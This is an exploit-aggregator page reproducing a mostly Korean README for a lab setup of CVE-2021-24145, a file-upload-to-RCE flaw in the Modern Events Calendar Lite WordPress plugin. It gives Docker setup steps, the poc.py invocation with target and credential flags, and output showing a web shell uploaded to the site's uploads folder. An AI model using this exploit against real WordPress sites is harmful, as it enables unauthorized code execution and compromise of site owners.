Sploitus

Exploit for Unrestricted Upload of File with Dangerous Type in Webnus Modern Events Calendar Lite

githubexploit Β· 2021-08-14

Exploit Code

README53 lines
## https://sploitus.com/exploit?id=A7E0CB1F-898C-551C-B6E7-E50EF94F99AB
# CVE-2021-24145
WordPress File Upload Vulnerability, Modern Events Calendar Lite WordPress plugin before 5.16.5
https://nvd.nist.gov/vuln/detail/CVE-2021-24145


# μ„€μΉ˜ 및 μ‹€ν–‰ μˆœμ„œ

#### 1. WordPress μ„€μΉ˜
μ„€μΉ˜λ₯Ό μ§„ν–‰ν•  λ•Œ, docker-compose.yml νŒŒμΌμ—μ„œ ν¬νŠΈν¬μ›Œλ”©μ„ μ§„ν–‰ν•΄μ£Όμ‹œκΈ° λ°”λžλ‹ˆλ‹€. 
 $ docker-compose up  

#### 2. WordPress initial & Plugin installation
http://[web-server ip]:port/둜 μ΄λ™ν•©λ‹ˆλ‹€.
기본적인 μ„€μΉ˜λ₯Ό μ§„ν–‰ν•©λ‹ˆλ‹€.

[Plugins] -> [Add New] -> [Upload Plugin] μ΄λ™ν•©λ‹ˆλ‹€. 
modern-events-calendar-lite.5.16.2.zip 을 μ—…λ‘œλ“œ 및 μ„€μΉ˜ν•©λ‹ˆλ‹€. 

μ•„λž˜ 화면은 ν”ŒλŸ¬κ·ΈμΈ μ„€μΉ˜κ°€ μ™„λ£Œλœ λͺ¨μŠ΅μž…λ‹ˆλ‹€. 

μ„€μΉ˜κ°€ μ™„λ£Œλ˜μ—ˆμœΌλ©΄ ν”ŒλŸ¬κ·ΈμΈμ„ ν™œμ„±ν™” μ‹œν‚΅λ‹ˆλ‹€. 
#### 3. PoC
python3 poc.py -T [URL] -P [PORT] -U [Path] -u [admin] -p [password]

 $python3 poc.py -T 172.30.1.48 -P 80 -U / -u 0ppr2s -p 123456

  ______     _______     ____   ___ ____  _      ____  _  _   _ _  _  ____
 / ___\ \   / / ____|   |___ \ / _ \___ \/ |    |___ \| || | / | || || ___|
| |    \ \ / /|  _| _____ __) | | | |__) | |_____ __) | || |_| | || ||___ \
| |___  \ V / | |__|_____/ __/| |_| / __/| |_____/ __/|__   _| |__   _|__) |
 \____|  \_/  |_____|   |_____|\___/_____|_|    |_____|  |_| |_|  |_||____/

                * Wordpress Plugin Modern Events Calendar Lite RCE

                * @Hacker5preme




[+] Authentication successfull !

[+] Shell Uploaded to: http://172.30.1.48:80//wp-content/uploads/shell.php

![image](https://user-images.githubusercontent.com/43310843/129433145-435ee861-ff32-459e-a15b-6ec19980cff4.png)

# 좜처
https://github.com/Hacker5preme/Exploits/tree/main/Wordpress/CVE-2021-24145

# 주의 사항
#### μœ„ 취약점을 λΆˆλ²•μœΌλ‘œ μ•…μš©ν•  μ‹œ, 법적 μ±…μž„μ„ μ§€μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.
#### If you illegally exploit the above vulnerabilities, you will not be held liable.
#### docker 버전을 μ΅œμ‹ ν™” ν•΄μ•Ό ν•©λ‹ˆλ‹€.